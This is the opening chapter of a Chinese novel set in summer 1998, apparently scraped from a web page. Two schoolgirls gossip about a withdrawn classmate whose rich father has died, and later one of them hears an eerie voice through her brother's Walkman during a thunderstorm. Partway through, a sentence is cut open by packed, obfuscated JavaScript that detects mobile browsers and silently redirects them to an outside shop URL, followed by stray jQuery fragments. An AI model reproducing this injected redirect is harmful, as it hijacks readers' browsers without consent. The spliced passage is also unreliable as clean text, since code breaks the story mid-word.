1. 第 1 章
作品:《当声波连上1998》 1998年的夏天,热得像一口密不透风的蒸笼。
巷口小卖部张贴着鲜艳的世界杯海报,齐达内的马赛回旋飞扬洒脱,隔壁院的小姑娘,天天抱着电视机追《还珠格格》,小燕子叽叽喳喳的吵闹声,能飘荡一整条老街巷子。
漫长的高考季终于过去,炎暑未消,却迎来了霏弥的雨季,潮湿、闷燥、溽热。
“今年这天气可真奇怪,热,雨还下个没完。”嘀嗒坠雨的屋檐下站着一个纤细修长的少女,半遮的格子伞后面露出来一张瓷白粉嫩的脸。
“林珑,你听说了吗?”
“嗯?”
顾霜霜在屋檐下抖落发梢的雨珠,“我姑姑前几天去参加了市里一个大人物的葬礼,班上江敛的爸爸去世了。”
林珑把湿哒哒的雨伞靠在冷饮店外的铝合金门框上,脑中浮现出那个冷漠淡然少年的脸。
这是一个怪人,独来独往,从不和班上的人多深交,男生们没心没肺又讲江湖义气,买了游戏机,经常互相轮流去对方家里打游戏,但至今为止,班上还没有哪一个同学知道江敛家在哪。
他不打游戏,也不和班上的男生玩,永远安安静静清冷地独自待着。
平时放学,男生们总是爱胳膊搂成一片去操场上打篮球,有一次,江敛和班上男生擦肩而过,表情冷漠得和陌生人没两样,林珑在走廊的水池边墩拖把,听见心里憋火的男生们背地里吐槽:“养只狗,高中三年都该有感情了,某些人真是养不熟的白眼狼。”
每个少年都有无可比拟的心气,释放过善意,却没有收获任何回应,男生们将油盐不进的江敛视为无可救药。
江敛身上有壁垒,一种活人微死,有事无事都请勿扰的生冷感,谁都靠近不了。
“大人物?江敛的爸爸?”没听说啊,林珑还以为班上最有钱的人就是闺蜜顾霜霜,家住城西的独栋别墅,已经够壕了。
“低调吧?班上没有一个人知道,原来江敛的父亲是市里赫赫有名的企业家,家里真有矿的那种,据说他们家在南美和非洲有好几个大矿。我姑姑说江敛父亲的葬礼,光是上下游供应商的花篮就有几百个,那场面,咱们市市长升天也就这排场了。”
林珑伸手往玻璃柜台边的饮料筐里拎了一瓶苹果味的玻子汽水,塞到顾霜霜手心,“生理期,你喝常温的。”
顾霜霜瞪眼:“你约我出来就拿这敷衍我?”
面对嫡长闺,林珑一点儿不心慈手软,转头就在前台给自己点了一份原味刨冰。顾小霜就是这个爱吃冰的毛病,生理期也不悠着点,不看着点,下次姨妈报道又痛的在自己耳边鬼叫。
林珑:“明后天要去学校填志愿了,我妈喊我把你约出来一起合计合计。”
顾霜霜的舅舅在教育局工作,舅妈是市里重点高中的省级优秀教师,从林妈妈的角度来说,顾霜霜即将填报的专业那基本和金饭碗也没什么两样了,有教育口两座金山罩着,那专业还能填出差错?
林珑把妈妈特地交代的海报从包里掏了出来,往顾霜霜面前一送。
顾霜霜一边铺开海报,一边嘟囔:“家里让我填师范专业,或者报金融类,以后要么去当老师,要么去银行柜台数钱,这实在太没意思了。”
受尽宠爱的独生女,只需要按部就班当一枚安分的螺丝钉,父母就会喂给无数的物质资源,上班只是为了让孩子有事可做,保证人生不出乱岔子。
“天啊,是小贝!”顾霜霜看见海报上的人,欣喜若狂。
1998,这个夏天最热的莫过于世界杯和《还珠格格》,街头巷尾不是在循环播放“Go,go,go!啊蕾啊蕾哦蕾”,就是在播放热火朝天的还珠主题曲。
穿红色7号球衣的小贝,一球踢中了顾霜霜的心。
顾霜霜差点激动跳起来把冷饮店的屋顶给顶翻:“珑珑,你简直就是世界上最懂我的人!”
林珑:最懂你的人其实是我妈……
刨冰来了,林珑习惯性第一勺先刮刨冰尖尖上的梅子酱。
勺子还没送进嘴里,她就目瞪口呆地看到冷饮店外一个熟悉的身影推门而入。
林珑心下一紧,赶紧给沉浸在海报男色中的顾霜霜使眼色。
说人莫说背,说背鬼听见。
来人正是传闻中鬼见忧的江敛。
他身形颀长,背着一个双肩包,正面无表情地走进来。
顾霜霜背着门坐,见林珑朝她挤眉弄眼,歪着脑袋问:“你缺钙啊?眉毛眼睛抽筋了?”
真是要给这姑奶奶跪下了。
林珑尴尬地挥着勺子,机械地朝门口的江敛打招呼:“嗨,江同学。”
江敛眸色清冷朝这边一撇,微一点头,算是打过招呼。
顾霜霜猛一回头,看见江敛万年不变的冰山脸,差点把自己的舌头给咬断。
江敛路过她们,从角落的冷柜里抽了一瓶汽水出来,付了钱就走了。
望着消失在雨雾里的修长身影,顾霜霜想起来江家的八卦还有下半段。
“江敛妈妈的脾气据说不太好。”
林珑:?
顾霜霜回想姑姑和自己形容的场面,其实用“脾气不好”来形容江敛的妈妈,都已经算是很体面了。
顾霜霜:“江敛的妈妈在葬礼上大闹了一场,当着上千名宾客的面打了江敛一巴掌。”
吃到瓜的林珑,震惊脸:“啊?”
顾霜霜:“江敛爸爸走的时候,是我们考最后一门物理那天上午,江敛不肯放弃那天的高考,没有当面送走他的父亲,据说他爸走的时候挺遗憾的。他妈妈在葬礼上哭昏过去几回,偏偏出殡那天,江敛还吊儿郎当姗姗来迟,他妈没忍住,怪他太过冷血无情,就众目睽睽之下打了他。”
林珑一壁心惊,一壁又隐隐觉得哪里不对劲。
那种情况,正常的父母不是都会劝自己的孩子不要放弃高考吗?十年寒窗,最后一门了,临门一脚,放弃的话就是功亏一篑。而且电视新闻上还有身患癌症的父母,为了不影响孩子高考,人都去世了还瞒着孩子,等孩子出考场才告知呢。
江敛妈妈的反应挺奇怪的,林珑下意识地嘴瓢问道:“江敛是亲生的吗?”
顾霜霜耸了耸肩:“这我就不知道了。”
***
世界杯大决赛在即,林家客厅的电视冒烟地播放赛事。
明后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407112|200574||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天要去学校填报高考志愿,林珑被妈妈赶回房间继续琢磨报考指南。
哥哥林玮打扮得人模狗样,头发丝儿都擓了摩丝锃光瓦亮的,出门前心情大好。
林进善扫了一眼在玄关套鞋的逆子,哼声道:“天气预报说这两天夜间持续雷暴,头发抹那么亮,不怕引雷劈啊?”
奇了,世界杯大决赛都不看,事出反常必有妖,看来逆子又要出去作妖。
徐惠美搡了一把丈夫,挤眉弄眼道:“去呗,孩子都二十好几了,又不是三岁小孩儿,你管那么多?”
林进善一副生吞阉鸡的表情,在婆娘脸上瞄出了不可说的苗头。
徐惠美:莫挨老娘,烂在手里二十几年的烫手山芋眼见着可以甩出去了,别瞎捣乱!
林进善:原来如此,我懂我懂……好险,这种好事差点儿让我给搅黄!
人精林珑耳朵比什么都尖,听到哥哥要出门,呼啦啦扯开房门,从门缝里挤出一颗圆溜溜的脑袋,笑眯眯地朝门口方向撒娇:“哥,你要出门,今晚随身听借我呗?”
林玮今天心情似乎格外好,大发慈悲地说:“赏你了,老跟我借,怪烦的。”
林珑不可思议地问:“送我,真的?”
三百多一台呢,他哥买这台索尼Walkman的时候,可是辛辛苦苦攒了三个月的零花钱,在音像店付钱的表情,那叫一个比自割腿肉还惨,快赶上给三张毛爷爷披麻戴孝了。
林玮嗓子哼着小曲,“爱要不要,不要拉倒。”
钟楚宁有一台小随身听,每天厂里午休,她爱坐在树荫下水泥花坛那里听歌,林玮说自己没有随身听,钟楚宁就邀请他一起听歌。
他的左耳塞着她的耳机,她的右耳就那么很近很近地靠着他。
林玮才不想这种好事有一天会露馅。
今晚他约了钟楚宁在冷饮店一起看世界杯决赛,管他什么天气预报雷暴不雷暴,天王老子来了都不能拦他出门。
林珑做梦一样得到这台随身听。
林玮平时把这随身听看护得跟眼珠子似的,有几回林珑偷偷用了又偷偷塞回去,林玮这狮子发现后就彻底炸毛,警告林珑以后摸都别想多摸。
林珑对着这台橙色的Walkman眼馋已久,可以称得上日思夜想、抓心挠肝。
它安安静静地摆在房间窗台的书桌上,林珑脸上溢出痴痴而又满足的笑。
窗外乌云密布,狂风横扫树叶,卷起漫天杂物。
新一□□风雨,很快就要来了。
林珑塞着耳机,完全沉浸在自己的小小音乐世界,跟着磁带里的歌声一起享受地哼吟。
一道青光划破天际,伴着紫电雷鸣,豆大的雨点接二连三地砸下来,噼里啪啦打在防盗窗上,天色瞬间暗得像傍晚。
耳机似乎受到雷暴磁场干扰,开始沙沙作响。
音乐时断时续。
沙沙——嗞嗞——沙——
电流尖锐地划过耳膜,原本的歌声被硬生生切断,取而代之的,是一道带着电流杂音,却异常清晰的女声。
诡异的声音,似隔着遥远的时空,缓缓落进她的耳朵里:“这机器这么多年还没坏呢?”

